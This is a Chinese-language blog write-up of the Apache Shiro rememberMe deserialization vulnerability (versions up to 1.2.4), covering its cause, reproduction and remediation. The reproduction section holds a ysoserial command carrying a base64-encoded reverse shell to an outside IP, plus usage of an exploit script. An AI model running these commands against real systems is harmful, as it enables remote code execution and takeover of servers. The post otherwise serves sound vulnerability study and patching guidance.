shrio反序列漏洞修复_shiro反序列化漏洞

shrio反序列化漏洞

一、漏洞介绍

Shiro 是 Java 的一个安全框架。Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 > Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

参考文章:http://www.secwk.com/2019/09/18/2818/

二、影响范围

Apache Shiro <= 1.2.4

三、漏洞复现

恶意 Cookie rememberMe值构造前16字节的密钥–>后面加入序列化参数–>AES加密–>base64编码–>发送cookie

这是我们的漏洞环境

a0b8f7a9714c882aae3c898629ba6e4a.png

用burp抓包,看一下响应

143b875f8b07b21ce6bfbbf5766ee8a3.png

返回包用有个Set-Cookie: rememberMe=deleteMe;

可以用我们的shiro检测工具测试一下

ShiroScan地址:https://github.com/sv3nbeast/ShiroScan

这个工具还是挺全的

8636b25abf4d1557d261d04a5860dbe0.png

78a372a0d22ed958f296982dfafed006.png

成功打到DNSLOG 返回信息

检测到有这个漏洞,我们就利用下,看能不能反弹个shell

首先在我们服务器开一个nc监听

b12dc1893f6831cf6df7198c2e6d4517.png

然后进http://www.jackson-t.ca/runtime-exec-payloads.html

27dcf96e7fe6fd6c5def09689bd75a80.png

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1299 CommonsCollections4 “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuMTIzLjEyMy4xMjMvNzc3IDA+JjE=}|{base64,-d}|{bash,-i}”

d316e5eb52068d86ead692ce699bcb33.png

python3 shiro_exp.py -u 漏洞地址 -lh 服务器地址 -lp 监听端口

cb4245ad43d9509fa65b233958750846.png

将生成的值放到burp抓到的数据包里面

d13e6d9f4e0a0086d490ca8782570c8b.png

0e6040bb91ec9203c1c0b4523f0b496e.png

然后我们的服务器这边就弹到shell了

反正我是搞了一整天,最后nc就是不弹,搞这东西需要细心,一个符号出错可能就不行

四、漏洞修复

先说结论:无论是否升级shiro到1.2.5及以上,如果shiro的rememberMe功能的AES密钥一旦泄露,就会导致反序列化漏洞。

跟了shiro 1.3.2的代码,看到官方的操作如下:

删除代码里的默认密钥

默认配置里注释了默认密钥

如果不配置密钥,每次会重新随机一个密钥

可以看到并没有对反序列化做安全限制,只是在逻辑上对该漏洞进行了处理。如果在配置里自己单独配置AES的密钥,并且密钥一旦泄露,那么漏洞依然存在。所以漏洞修复的话,我建议下面的方案同时进行:

升级shiro到1.2.5及以上如果在配置里配置了密钥,那么请一定不要使用网上的密钥,一定不要!!请自己base64一个AES的密钥,或者利用官方提供的方法生成

总结

标准的AES的加解密只跟私钥key和加密模式有关,和IV无关。

为了证明反序列化漏洞确实存在,可以利用ysoserial的URLDNS gadget进行验证,但是默认会有TTL缓存机制,默认10s。

反序列化导致的命令执行需要两个点:

readObject()反序列化的内容可控。

应用引用的jar包中存在可命令执行的Gadget Chain。


版权声明:本文为weixin_30247833原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。